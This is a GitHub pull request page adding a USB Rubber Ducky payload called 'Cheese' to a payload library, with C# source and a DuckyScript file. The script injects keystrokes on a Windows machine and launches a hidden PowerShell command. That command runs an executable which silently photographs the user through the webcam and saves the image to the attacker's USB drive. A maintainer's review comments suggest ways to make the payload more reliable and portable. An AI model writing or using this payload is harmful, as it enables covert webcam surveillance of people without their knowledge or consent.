Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

web cam photo taker #438

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions payloads/library/general/Web_cam_photo_taker/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
## About:
* Title: Cheese
* Description: Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

While the transparency is appreciated by adding the source code, it is non trivial for an end user to verify that the exe provided is actually compiled from the source code provided; because of this, unfortunately, compiled binaries are not allowed as a matter of policy. Instead, I would recommend either adding instructions in the README on how to compile the source code provided, or find an alternative approach that uses built in utilities rather than bringing your own executable.

* AUTHOR: Pinguino-HK
* Version: 1.0
* Category: General.
* Target: Windows.
* Attackmodes: HID STORAGE.
* SourceCode: The srouce code of cheese.exe can be found in cheese.cs, it s .NET C# application.
82 changes: 82 additions & 0 deletions payloads/library/general/Web_cam_photo_taker/cheese.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
using AForge.Video.DirectShow;
using System;
using System.Drawing;
using System.IO;

class Program
{
private static FilterInfoCollection GetVideoDevices()
{
return new FilterInfoCollection(FilterCategory.VideoInputDevice);
}

static void Main(string[] args)
{

DriveInfo[] drives = DriveInfo.GetDrives();
string usbDriveLetter = "";

foreach (DriveInfo drive in drives)
{
if (drive.IsReady && drive.VolumeLabel == "DUCKY")
{
usbDriveLetter = drive.Name;
break;
}
}

if (usbDriveLetter == "")
{
Console.WriteLine("USB drive 'DUCKY' not found.");
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider not everyone's drive is named DUCKY

return;
}


// Get available video devices
var videoDevices = GetVideoDevices();

if (videoDevices.Count == 0)
{
Console.WriteLine("No video devices found.");
Environment.Exit(1); // Exit the application with an error code
}

// Select the first video device
var videoDevice = videoDevices[0];

// Create video source
var videoSource = new VideoCaptureDevice(videoDevice.MonikerString);

// Start capturing
videoSource.Start();

// Wait for a short period to ensure camera is ready (adjust as needed)
System.Threading.Thread.Sleep(2000);

// Capture the frame
videoSource.NewFrame += (sender, eventArgs) =>
{
// Capture the new frame
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();

// Save the bitmap to a file
//
//string filePath = @"D:\image.jpg";
//string filePath = Path.Combine(usbDriveLetter, "\\:image.jpg");
string filePath = usbDriveLetter + @"\image.jpg";
bitmap.Save(filePath);

Console.WriteLine("Image saved to " + filePath);

// Stop capturing
videoSource.SignalToStop();
videoSource.WaitForStop();

// Exit the application
Environment.Exit(0);
};

// Wait for capturing to finish (This line should be removed if not waiting indefinitely)
videoSource.WaitForStop();
}
}
Binary file not shown.
14 changes: 14 additions & 0 deletions payloads/library/general/Web_cam_photo_taker/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
REM Author: Pinguino-HK

REM Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky.
REM The speed delay can be adapted/modified
REM the ALF F4 is only if the target had autorun which will pop the Ducky folder

ATTACKMODE HID STORAGE
DELAY 5000
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider using EXTENSION PASSIVE_WINDOWS_DETECT the extension allows for the USB rubber ducky to detect when the target is accepting keystroke removing the need for a long start delay. Also allows you to add a guard statement to ensure the target is windows

for example

IF ($_OS != WINDOWS)
    LED_R
    STOP_PAYLOAD
END_IF

ALT F4
ESC
DELAY 2000
GUI r
DELAY 1000
STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter + ':\cheese.exe'); Start-Sleep -Seconds 7; taskkill /F /IM cheese.exe
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider using DEFINE at the start of your payload for the executable name. if the user changes cheese.exe to something different, this allows the user to easily modify the script. also adding a DEFINE for those who may not be using the default drive label of "DUCKY"

for example you can add this to the top of your payload
DEFINE #EXE_NAME cheese.exe
DEFINE #DUCKY_DRIVE_LABEL DUCKY

and modify line 14 with:

STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter + ':\#EXE_NAME'); Start-Sleep -Seconds 7; taskkill /F /IM #EXE_NAME